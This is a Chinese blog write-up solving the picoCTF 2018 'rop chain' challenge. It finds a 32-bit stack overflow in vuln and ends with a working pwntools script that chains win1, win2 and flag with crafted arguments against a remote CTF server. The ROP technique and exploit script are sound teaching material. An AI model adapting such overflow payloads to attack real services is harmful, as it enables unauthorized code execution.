picoctf_2018_rop chain

最新推荐文章于 2024-12-22 16:26:44 发布

原创最新推荐文章于 2024-12-22 16:26:44 发布 · 251 阅读

1 ·

CC 4.0 BY-SA版权

pwn 专栏收录该内容

7 篇文章

订阅专栏

本文介绍如何通过IDA工具定位溢出漏洞，并控制win1win2和flag参数，使用精心构造的payload在node3.buuoj.cn服务器上执行。涉及16进制补码、函数调用和远程代码执行。

先进行检查 32位
在这里插入图片描述打开ida查看一下 vuln 函数存在溢出可以利用
又看到函数表有flag函数 win1 win2 和a1 存在条件需要控制这3个参数变量

注意：0xBAAAAAAD是-1163220307对应的16进制的补码作为win_function2函数的参数
下面的 0xDEADBAAD是-559039827对应的16进制的补码作为flag函数的参数（我都已经在ida中转化）

之后又看到win1 win2
在这里插入图片描述最后写下脚本

from pwn import*
from LibcSearcher import*

p=remote('node3.buuoj.cn',25328)
win1=0x80485CB
win2=0x80485D8
flag=0x804862B
payload='a'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
p.sendline(payload)
p.interactive()